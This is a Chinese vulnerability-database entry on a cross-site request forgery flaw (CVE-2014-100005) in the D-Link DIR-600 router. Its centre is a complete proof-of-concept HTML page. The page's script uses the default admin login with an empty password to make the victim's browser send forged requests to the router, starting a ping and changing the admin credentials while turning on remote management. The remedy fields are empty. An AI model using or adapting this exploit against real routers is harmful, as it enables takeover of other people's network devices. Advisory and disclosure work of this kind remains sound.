D-Link DIR-600 跨站请求伪造漏洞

基本字段

漏洞编号：: SSV-89342

披露/发现时间：: 2014-01-22

提交时间：: 2015-09-07

漏洞等级：

漏洞类别：: 跨站请求伪造

影响组件：: D-Link router
(DIR-600)

漏洞作者：: 未知

提交者：: Knownsec

CVE-ID：: CVE-2014-100005

CNNVD-ID：: CNNVD-201403-571

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

漏洞详情

贡献者 Knownsec 共获得 0.25KB

共 5 兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得 0.45KB

1. 使用浏览器打开exp.html，html内容如下 <html> <body> <script> function ping() { var xhr1 = new XMLHttpRequest(); xhr1.open("POST", "http://192.168.0.1/apply.cgi", true); xhr1.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr1.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr1.withCredentials = "true"; var body = "CMD=reload&GO=tools_vct.asp&SET0=ping_ipaddr%3D192.168.0.100&SET1=ping_test%3D1"; xhr1.send(body); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://192.168.0.1/get_ping.asp", true); xhr2.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr2.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr2.withCredentials = "true"; xhr2.send(); } function admin() { var xhr1 = new XMLHttpRequest(); xhr1.open("POST", "http://192.168.0.1/apply.cgi", true); xhr1.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr1.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr1.withCredentials = "true"; var body = "CMD=restart&GO=tools_admin.asp&SET0=http_username%3Dadmin&SET1=http_passwd%3D&SET2=remote_management%3D1"; xhr1.send(body); } </script> <img src="http://admin:@192.168.0.1/router_logo.jpg" onload="ping()"> </body> </html> 2. 刷新页面后，该exp.html会使用路由器默认口令进入路由器，并调用ping()函数，ping指定主机，或者调用admin()函数修改路由器后台登陆密码。

等 9 兑换

参考链接

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负

基本字段

来源

漏洞详情

PoC (非 pocsuite 插件)

参考链接

解决方案

生命线

相关漏洞

评论前需绑定手机现在绑定

暂无评论

D-Link DIR-600 跨站请求伪造漏洞

基本字段

来源

漏洞详情

PoC (非 pocsuite 插件)

参考链接

解决方案

生命线

相关漏洞

评论前需绑定手机 现在绑定

暂无评论

您好，

您好，

评论前需绑定手机现在绑定